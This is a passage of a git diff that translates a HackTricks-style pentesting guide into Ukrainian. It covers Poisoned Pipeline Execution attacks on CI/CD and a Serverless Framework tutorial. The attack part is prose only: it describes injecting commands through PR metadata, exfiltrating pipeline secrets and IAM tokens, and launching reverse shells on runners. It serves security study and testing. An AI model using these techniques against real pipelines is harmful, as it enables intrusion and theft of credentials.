ssh ключі, Oauth токени, куки... є кілька видів токенів, які користувач може вкрасти, щоб отримати доступ до репозиторію. +- **Webhooks**: Платформи VCS дозволяють генерувати вебхуки. Якщо вони **не захищені** невидимими секретами, **зловмисник може зловживати ними**. +- Якщо секрет не встановлений, зловмисник може зловживати вебхуком третьої сторони. +- Якщо секрет у URL, те ж саме відбувається, і зловмисник також має секрет. +- **Компрометація коду:** Якщо зловмисник має якийсь вид **доступу на запис** до репозиторіїв, він може спробувати **впровадити шкідливий код**. Щоб досягти успіху, йому може знадобитися **обійти захист гілок**. Ці дії можуть бути виконані з різними цілями на увазі: +- Компрометація основної гілки для **компрометації виробництва**. +- Компрометація основної (або інших гілок) для **компрометації машин розробників** (оскільки вони зазвичай виконують тести, terraform або інші речі всередині репозиторію на своїх машинах). +- **Компрометація пайплайна** (перевірте наступний розділ). ## Pipelines Pentesting Methodology -The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\ -These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code. +Найпоширеніший спосіб визначити пайплайн - це використання **файлу конфігурації CI, розміщеного в репозиторії**, який будує пайплайн. Цей файл описує порядок виконуваних завдань, умови, які впливають на потік, і налаштування середовища збірки.\ +Ці файли зазвичай мають послідовну назву та формат, наприклад — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) та YAML файли GitHub Actions, розташовані під .github/workflows. Коли пайплайн ініціюється, завдання пайплайна **витягує код** з вибраного джерела (наприклад, коміт / гілка) і **виконує команди, зазначені у файлі конфігурації CI** проти цього коду. -Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**. +Отже, остаточна мета зловмисника полягає в тому, щоб якимось чином **компрометувати ці файли конфігурації** або **команди, які вони виконують**. ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. +Шлях Poisoned Pipeline Execution (PPE) експлуатує права в репозиторії SCM для маніпуляції CI пайплайном і виконання шкідливих команд. Користувачі з необхідними правами можуть змінювати файли конфігурації CI або інші файли, які використовуються завданням пайплайна, щоб включити шкідливі команди. Це "отруює" CI пайплайн, що призводить до виконання цих шкідливих команд. -For a malicious actor to be successful performing a PPE attack he needs to be able to: +Щоб зловмисник успішно виконав атаку PPE, йому потрібно: -- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access). - - Note that sometimes an **external PR count as "write access"**. -- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**. - - For this, he might need to be able to **bypass branch protections**. +- Мати **доступ на запис до платформи VCS**, оскільки зазвичай пайплайни ініціюються, коли виконується пуш або запит на злиття. (Перевірте методологію пентестингу VCS для підсумку способів отримання доступу). +- Зверніть увагу, що іноді **зовнішній PR вважається "доступом на запис"**. +- Навіть якщо у нього є права на запис, йому потрібно бути впевненим, що він може **змінити файл конфігурації CI або інші файли, на які покладається конфігурація**. +- Для цього йому може знадобитися мати можливість **обійти захист гілок**. -There are 3 PPE flavours: +Існує 3 варіанти PPE: -- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. -- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). -- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. - - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. +- **D-PPE**: Атака **Прямого PPE** відбувається, коли зловмисник **змінює файл конфігурації CI**, який буде виконано. +- **I-DDE**: Атака **Непрямого PPE** відбувається, коли зловмисник **змінює** **файл**, на який **покладається** файл конфігурації CI, що буде виконано (наприклад, make файл або конфігурацію terraform). +- **Public PPE або 3PE**: У деяких випадках пайплайни можуть бути **ініційовані користувачами, які не мають доступу на запис у репозиторії** (і які можуть навіть не бути частиною організації), оскільки вони можуть надіслати PR. +- **3PE Command Injection**: Зазвичай CI/CD пайплайни **встановлюють змінні середовища** з **інформацією про PR**. Якщо це значення може контролюватися зловмисником (наприклад, заголовок PR) і **використовується** в **небезпечному місці** (наприклад, виконуючи **sh команди**), зловмисник може **впроваджувати команди туди**. ### Exploitation Benefits -Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation: +Знаючи 3 варіанти отруєння пайплайна, давайте перевіримо, що зловмисник може отримати після успішної експлуатації: -- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible. - - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**. -- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further. - - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**. - - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**. - - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**. - - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further. -- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**. +- **Секрети**: Як вже згадувалося раніше, пайплайни вимагають **привілеїв** для своїх завдань (отримання коду, його збірка, розгортання...) і ці привілеї зазвичай **надаються в секретах**. Ці секрети зазвичай доступні через **змінні середовища або файли всередині системи**. Тому зловмисник завжди намагатиметься ексфільтрувати якомога більше секретів. +- Залежно від платформи пайплайна зловмисник **може знадобитися вказати секрети в конфігурації**. Це означає, що якщо зловмисник не може змінити конфігурацію CI пайплайна (**I-PPE**, наприклад), він може **лише ексфільтрувати секрети, які має цей пайплайн**. +- **Обчислення**: Код виконується десь, залежно від того, де він виконується, зловмисник може мати можливість подальшого переміщення. +- **On-Premises**: Якщо пайплайни виконуються на місці, зловмисник може опинитися в **внутрішній мережі з доступом до більше ресурсів**. +- **Cloud**: Зловмисник може отримати доступ до **інших машин у хмарі**, але також може **ексфільтрувати** токени IAM ролей/облікових записів **з нього**, щоб отримати **додатковий доступ всередині хмари**. +- **Платформи машини**: Іноді завдання виконуються всередині **машин платформи пайплайнів**, які зазвичай знаходяться в хмарі з **без додаткового доступу**. +- **Вибрати це:** Іноді **платформа пайплайнів має налаштовані кілька машин**, і якщо ви можете **змінити файл конфігурації CI**, ви можете **вказати, де хочете виконати шкідливий код**. У цій ситуації зловмисник, ймовірно, запустить зворотний шелл на кожній можливій машині, щоб спробувати експлуатувати її далі. +- **Компрометація виробництва**: Якщо ви знаходитесь всередині пайплайна, і фінальна версія будується та розгортається з нього, ви можете **компрометувати код, який буде виконуватися в виробництві**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) є інструментом з відкритим кодом для аудиту вашого стеку постачання програмного забезпечення на предмет відповідності безпеці на основі нового [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит зосереджується на всьому процесі SDLC, де він може виявити ризики від часу коду до часу розгортання. ### Top 10 CI/CD Security Risk -Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Перевірте цю цікаву статтю про топ 10 ризиків CI/CD відповідно до Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it -- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) +- На кожній платформі, яку ви можете запустити локально, ви знайдете, як запустити її локально, щоб ви могли налаштувати її так, як вам потрібно, щоб протестувати. +- Лабораторія Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** є інструментом статичного аналізу коду для інфраструктури як коду. ## References - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index bf1343702..d9ef481ed 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -6,298 +6,269 @@ ### Organization -An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications. +**Організація** - це найвищий рівень сутності в екосистемі Serverless Framework. Вона представляє **колективну групу**, таку як компанія, відділ або будь-яка велика сутність, яка охоплює кілька проектів, команд і додатків. ### Team -The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings. +**Команда** - це користувачі з доступом всередині організації. Команди допомагають організувати учасників на основі ролей. **`Співпрацівники`** можуть переглядати та розгортати існуючі додатки, тоді як **`Адміністратори`** можуть створювати нові додатки та керувати налаштуваннями організації. ### Application -An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality. +**Додаток** - це логічна група пов'язаних сервісів в організації. Він представляє собою повний додаток, що складається з кількох безсерверних сервісів, які працюють разом для забезпечення єдиної функціональності. ### **Services** -A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables. - +**Сервіс** - це основний компонент безсерверного додатку. Він представляє ваш весь безсерверний проект, інкапсулюючи всі функції, конфігурації та ресурси, які потрібні. Зазвичай він визначається у файлі `serverless.yml`, сервіс включає метадані, такі як назва сервісу, конфігурації постачальника, функції, події, ресурси, плагіни та користувацькі змінні. ```yaml service: my-service provider: - name: aws - runtime: nodejs14.x +name: aws +runtime: nodejs14.x functions: - hello: - handler: handler.hello +hello: +handler: handler.hello ``` -
-Function +Функція -A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events. - -It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings. +**Функція** представляє собою одну безсерверну функцію, таку як функція AWS Lambda. Вона містить код, який виконується у відповідь на події. +Вона визначається в секції `functions` у `serverless.yml`, вказуючи обробник, середовище виконання, події, змінні середовища та інші налаштування. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get +hello: +handler: handler.hello +events: +- http: +path: hello +method: get ``` -
-Event +Подія -**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed. - -Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more. +**Події** - це тригери, які викликають ваші безсерверні функції. Вони визначають, як і коли функція повинна бути виконана. +Звичайні типи подій включають HTTP запити, заплановані події (cron jobs), події бази даних, завантаження файлів та інше. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - - schedule: - rate: rate(10 minutes) +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +- schedule: +rate: rate(10 minutes) ``` -
-Resource +Ресурс -**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles. - -They are specified under the `resources` section, often using CloudFormation syntax for AWS. +**Ресурси** дозволяють вам визначити додаткові хмарні ресурси, від яких залежить ваша служба, такі як бази даних, сховища або ролі IAM. +Вони вказуються в секції `resources`, часто використовуючи синтаксис CloudFormation для AWS. ```yaml resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - TableName: my-table - AttributeDefinitions: - - AttributeName: id - AttributeType: S - KeySchema: - - AttributeName: id - KeyType: HASH - ProvisionedThroughput: - ReadCapacityUnits: 1 - WriteCapacityUnits: 1 +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +TableName: my-table +AttributeDefinitions: +- AttributeName: id +AttributeType: S +KeySchema: +- AttributeName: id +KeyType: HASH +ProvisionedThroughput: +ReadCapacityUnits: 1 +WriteCapacityUnits: 1 ``` -
-Provider +Постачальник -The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider. - -It includes details like the runtime, region, stage, and credentials. +Об'єкт **Постачальник** вказує на постачальника хмарних послуг (наприклад, AWS, Azure, Google Cloud) і містить налаштування конфігурації, що стосуються цього постачальника. +Він включає деталі, такі як середовище виконання, регіон, етап і облікові дані. ```yaml yamlCopy codeprovider: - name: aws - runtime: nodejs14.x - region: us-east-1 - stage: dev +name: aws +runtime: nodejs14.x +region: us-east-1 +stage: dev ``` -
-Stage and Region - -The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments. +Стадія та Регіон +Стадія представляє різні середовища (наприклад, розробка, тестування, продуктивність), де ваш сервіс може бути розгорнутий. Це дозволяє налаштовувати та розгортати специфічні для середовища конфігурації. ```yaml provider: - stage: dev +stage: dev ``` - -The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations. - +Регіон вказує географічний регіон, де будуть розгорнуті ваші ресурси. Це важливо для затримки, відповідності та доступності. ```yaml provider: - region: us-west-2 +region: us-west-2 ``` -
-Plugins - -**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm. +Плагіни +**Плагіни** розширюють функціональність Serverless Framework, додаючи нові можливості або інтегруючись з іншими інструментами та сервісами. Вони визначені в секції `plugins` і встановлюються через npm. ```yaml plugins: - - serverless-offline - - serverless-webpack +- serverless-offline +- serverless-webpack ``` -
-Layers - -**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions. +Шари +**Шари** дозволяють вам упакувати та керувати спільним кодом або залежностями окремо від ваших функцій. Це сприяє повторному використанню та зменшує розміри пакетів розгортання. Вони визначаються в секції `layers` і посилаються на функції. ```yaml layers: - commonLibs: - path: layer-common +commonLibs: +path: layer-common functions: - hello: - handler: handler.hello - layers: - - { Ref: CommonLibsLambdaLayer } +hello: +handler: handler.hello +layers: +- { Ref: CommonLibsLambdaLayer } +``` +
+ +
+ +Змінні та Користувацькі Змінні + +**Змінні** дозволяють динамічну конфігурацію, дозволяючи використовувати заповнювачі, які вирішуються під час розгортання. + +- **Синтаксис:** `${variable}` синтаксис може посилатися на змінні середовища, вміст файлів або інші параметри конфігурації. + +```yaml +functions: +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} +``` + +* **Користувацькі Змінні:** Розділ `custom` використовується для визначення змінних та конфігурацій, специфічних для користувача, які можуть бути повторно використані в `serverless.yml`. + +```yaml +custom: +tableName: my-dynamodb-table +stage: ${opt:stage, 'dev'} ```
-Variables and Custom Variables - -**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time. - -- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters. - - ```yaml - functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} - ``` - -* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`. - - ```yaml - custom: - tableName: my-dynamodb-table - stage: ${opt:stage, 'dev'} - ``` - -
- -
- -Outputs - -**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment. +Виходи +**Виходи** визначають значення, які повертаються після розгортання служби, такі як ARNs ресурсів, кінцеві точки або інша корисна інформація. Вони вказуються в розділі `outputs` і часто використовуються для надання інформації іншим службам або для легкого доступу після розгортання. ```yaml ¡outputs: - ApiEndpoint: - Description: "API Gateway endpoint URL" - Value: - Fn::Join: - - "" - - - "https://" - - Ref: ApiGatewayRestApi - - ".execute-api." - - Ref: AWS::Region - - ".amazonaws.com/" - - Ref: AWS::Stage +ApiEndpoint: +Description: "API Gateway endpoint URL" +Value: +Fn::Join: +- "" +- - "https://" +- Ref: ApiGatewayRestApi +- ".execute-api." +- Ref: AWS::Region +- ".amazonaws.com/" +- Ref: AWS::Stage ``` -
-IAM Roles and Permissions - -**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions. +IAM Ролі та Дозволи +**IAM Ролі та Дозволи** визначають безпекові облікові дані та права доступу для ваших функцій та інших ресурсів. Вони керуються під `provider` або налаштуваннями окремих функцій для визначення необхідних дозволів. ```yaml provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -
-Environment Variables - -**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions. +Змінні середовища +**Змінні** дозволяють передавати налаштування конфігурації та секрети вашим функціям без їх жорсткого кодування. Вони визначаються в секції `environment` для постачальника або окремих функцій. ```yaml provider: - environment: - STAGE: ${self:provider.stage} +environment: +STAGE: ${self:provider.stage} functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} ``` -
-Dependencies - -**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`. +Залежності +**Залежності** керують зовнішніми бібліотеками та модулями, які потрібні вашим функціям. Вони зазвичай обробляються за допомогою менеджерів пакетів, таких як npm або pip, і упаковуються з вашим пакетом розгортання за допомогою інструментів або плагінів, таких як `serverless-webpack`. ```yaml plugins: - - serverless-webpack +- serverless-webpack ``` -
Hooks -**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments. - +**Hooks** дозволяють вам виконувати власні скрипти або команди в певні моменти життєвого циклу розгортання. Вони визначаються за допомогою плагінів або в `serverless.yml`, щоб виконувати дії до або після розгортань. ```yaml custom: - hooks: - before:deploy:deploy: echo "Starting deployment..." +hooks: +before:deploy:deploy: echo "Starting deployment..." ``` -
### Tutorial -This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial): - -1. Create an AWS account (Serverless.com start in AWS infrastructure) -2. Create an account in serverless.com -3. Create an app: +Це резюме офіційного навчального посібника [**з документації**](https://www.serverless.com/framework/docs/tutorial): +1. Створіть обліковий запис AWS (Serverless.com починається в інфраструктурі AWS) +2. Створіть обліковий запис на serverless.com +3. Створіть додаток: ```bash # Create temp folder for the tutorial mkdir /tmp/serverless-tutorial @@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` - -This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function: +Це повинно було створити **app** під назвою `tutorialapp`, який ви можете перевірити на [serverless.com](serverless.com-security.md), і папку під назвою `Tutorial` з файлом **`handler.js`**, що містить деякий JS код з кодом `helloworld`, та файлом **`serverless.yml`**, що оголошує цю функцію: {{#tabs }} {{#tab name="handler.js" }} - ```javascript exports.hello = async (event) => { - return { - statusCode: 200, - body: JSON.stringify({ - message: "Go Serverless v4! Your function executed successfully!", - }), - } +return { +statusCode: 200, +body: JSON.stringify({ +message: "Go Serverless v4! Your function executed successfully!", +}), +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -342,130 +309,122 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x +name: aws +runtime: nodejs20.x functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get ``` - {{#endtab }} {{#endtabs }} -4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. - 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) - 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role. +4. Створіть постачальника AWS, перейшовши в **панель управління** за адресою `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. +1. Щоб надати `serverless.com` доступ до AWS, буде запропоновано запустити стек cloudformation, використовуючи цей конфігураційний файл (на момент написання): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. Цей шаблон генерує роль під назвою **`SFRole-`** з **`arn:aws:iam::aws:policy/AdministratorAccess`** для облікового запису з довірчою ідентичністю, яка дозволяє обліковому запису `Serverless.com` AWS отримати доступ до ролі.
Yaml roleTemplate - ```yaml Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments. Resources: - SFRole: - Type: AWS::IAM::Role - Properties: - AssumeRolePolicyDocument: - Version: "2012-10-17" - Statement: - - Effect: Allow - Principal: - AWS: arn:aws:iam::486128539022:root - Action: - - sts:AssumeRole - Condition: - StringEquals: - sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" - Path: / - RoleName: !Ref RoleName - ManagedPolicyArns: - - arn:aws:iam::aws:policy/AdministratorAccess - ReporterFunction: - Type: Custom::ServerlessFrameworkReporter - Properties: - ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" - OrgUid: !Ref OrgUid - RoleArn: !GetAtt SFRole.Arn - Alias: !Ref Alias +SFRole: +Type: AWS::IAM::Role +Properties: +AssumeRolePolicyDocument: +Version: "2012-10-17" +Statement: +- Effect: Allow +Principal: +AWS: arn:aws:iam::486128539022:root +Action: +- sts:AssumeRole +Condition: +StringEquals: +sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" +Path: / +RoleName: !Ref RoleName +ManagedPolicyArns: +- arn:aws:iam::aws:policy/AdministratorAccess +ReporterFunction: +Type: Custom::ServerlessFrameworkReporter +Properties: +ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" +OrgUid: !Ref OrgUid +RoleArn: !GetAtt SFRole.Arn +Alias: !Ref Alias Outputs: - SFRoleArn: - Description: "ARN for the IAM Role used by Serverless Framework" - Value: !GetAtt SFRole.Arn +SFRoleArn: +Description: "ARN for the IAM Role used by Serverless Framework" +Value: !GetAtt SFRole.Arn Parameters: - OrgUid: - Description: Serverless Framework Org Uid - Type: String - Alias: - Description: Serverless Framework Provider Alias - Type: String - RoleName: - Description: Serverless Framework Role Name - Type: String +OrgUid: +Description: Serverless Framework Org Uid +Type: String +Alias: +Description: Serverless Framework Provider Alias +Type: String +RoleName: +Description: Serverless Framework Role Name +Type: String ``` -
-Trust Relationship - +Взаємовідносини довіри ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::486128539022:root" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::486128539022:root" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" +} +} +} +] } ``` -
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas. +5. У навчальному посібнику пропонується створити файл `createCustomer.js`, який в основному створить нову точку доступу API, оброблену новим JS файлом, і пропонується змінити файл `serverless.yml`, щоб він генерував **нову таблицю DynamoDB**, визначав **змінну середовища**, роль, яка буде використовувати згенеровані лямбди. {{#tabs }} {{#tab name="createCustomer.js" }} - ```javascript "use strict" const AWS = require("aws-sdk") module.exports.createCustomer = async (event) => { - const body = JSON.parse(Buffer.from(event.body, "base64").toString()) - const dynamoDb = new AWS.DynamoDB.DocumentClient() - const putParams = { - TableName: process.env.DYNAMODB_CUSTOMER_TABLE, - Item: { - primary_key: body.name, - email: body.email, - }, - } - await dynamoDb.put(putParams).promise() - return { - statusCode: 201, - } +const body = JSON.parse(Buffer.from(event.body, "base64").toString()) +const dynamoDb = new AWS.DynamoDB.DocumentClient() +const putParams = { +TableName: process.env.DYNAMODB_CUSTOMER_TABLE, +Item: { +primary_key: body.name, +email: body.email, +}, +} +await dynamoDb.put(putParams).promise() +return { +statusCode: 201, +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -475,145 +434,140 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x - environment: - DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} - iam: - role: - statements: - - Effect: "Allow" - Action: - - "dynamodb:PutItem" - - "dynamodb:Get*" - - "dynamodb:Scan*" - - "dynamodb:UpdateItem" - - "dynamodb:DeleteItem" - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +name: aws +runtime: nodejs20.x +environment: +DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} +iam: +role: +statements: +- Effect: "Allow" +Action: +- "dynamodb:PutItem" +- "dynamodb:Get*" +- "dynamodb:Scan*" +- "dynamodb:UpdateItem" +- "dynamodb:DeleteItem" +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get - createCustomer: - handler: createCustomer.createCustomer - events: - - httpApi: - path: / - method: post +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get +createCustomer: +handler: createCustomer.createCustomer +events: +- httpApi: +path: / +method: post resources: - Resources: - CustomerTable: - Type: AWS::DynamoDB::Table - Properties: - AttributeDefinitions: - - AttributeName: primary_key - AttributeType: S - BillingMode: PAY_PER_REQUEST - KeySchema: - - AttributeName: primary_key - KeyType: HASH - TableName: ${self:service}-customerTable-${sls:stage} +Resources: +CustomerTable: +Type: AWS::DynamoDB::Table +Properties: +AttributeDefinitions: +- AttributeName: primary_key +AttributeType: S +BillingMode: PAY_PER_REQUEST +KeySchema: +- AttributeName: primary_key +KeyType: HASH +TableName: ${self:service}-customerTable-${sls:stage} ``` - {{#endtab }} {{#endtabs }} -6. Deploy it running **`serverless deploy`** - 1. The deployment will be performed via a CloudFormation Stack - 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs -7. **Test it** - 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed +6. Розгорніть його, запустивши **`serverless deploy`** +1. Розгортання буде виконано через CloudFormation Stack +2. Зверніть увагу, що **lambdas доступні через API gateway** і не через прямі URL +7. **Протестуйте це** +1. Попередній крок виведе **URLs**, де ваші API endpoints lambda функції були розгорнуті -## Security Review of Serverless.com +## Огляд безпеки Serverless.com -### **Misconfigured IAM Roles and Permissions** +### **Неправильно налаштовані 